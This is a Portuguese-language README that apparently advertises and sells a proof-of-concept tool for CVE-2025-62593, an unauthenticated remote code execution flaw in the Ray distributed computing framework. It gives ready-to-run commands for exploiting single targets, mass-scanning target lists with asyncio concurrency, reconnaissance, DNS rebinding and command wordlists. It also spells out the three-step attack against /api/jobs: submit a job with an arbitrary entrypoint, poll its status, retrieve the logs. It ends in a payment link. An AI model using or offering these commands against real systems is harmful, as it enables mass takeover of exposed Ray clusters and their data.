CVE-2025-62593 — Exploração de RCE Não Autenticada no Ray

Visão Geral

CVE-2025-62593 é uma vulnerabilidade de execução remota de código não autenticada no mecanismo de computação distribuída de IA Ray. A causa raiz é a ausência de autenticação em endpoints HTTP críticos (/api/jobs, /api/job_agent/jobs). Um atacante pode submeter um Job do Ray cujo entrypoint é um comando arbitrário, executando-o no nó head do cluster.

Início Rápido

# Alvo único
python3 ray_rce_poc.py --target http://HOST:8265

# Varredura em massa (10 concorrentes)
python3 ray_rce_poc.py --targets list.txt --command "id" -o results.json

# Modo reconhecimento (enumeração rápida)
python3 ray_rce_poc.py --recon --targets list.txt

# Modo DNS rebinding
python3 ray_rce_poc.py --dns-rebind --target http://HOST:8265 --rebind-host 10.0.0.1

# Varredura com wordlist
python3 ray_rce_poc.py --targets list.txt --wordlist commands.txt -o results.csv

Recursos

• Concorrência Asyncio — paralelismo configurável (padrão: 10), varre 1000 alvos no mesmo tempo que 1
• Tentativas + back-off exponencial — 3 tentativas por requisição
• Barra de progresso + ETA — progresso ASCII em tempo real
• Saída colorida — cores ANSI (✓/✗/○)
• 3 formatos de saída — JSON / CSV / JSONL (detectados automaticamente pela extensão)
• Modo reconhecimento — enumeração rápida sem submeter jobs
• Modo DNS rebinding — implementação completa do RebindHTTPConnection
• Modo wordlist — varredura contra lista de comandos
• Apenas stdlib — sem dependências externas, Python 3.8+

Fluxo do Ataque

1. Submeter job — POST /api/jobs/ com entrypoint executando o comando alvo
2. Verificar status — GET /api/jobs/ até o job atingir estado terminal
3. Recuperar logs — GET /api/jobs/{id}/logs para obter a saída

https://satoshi-box.com/pay/CSIgNt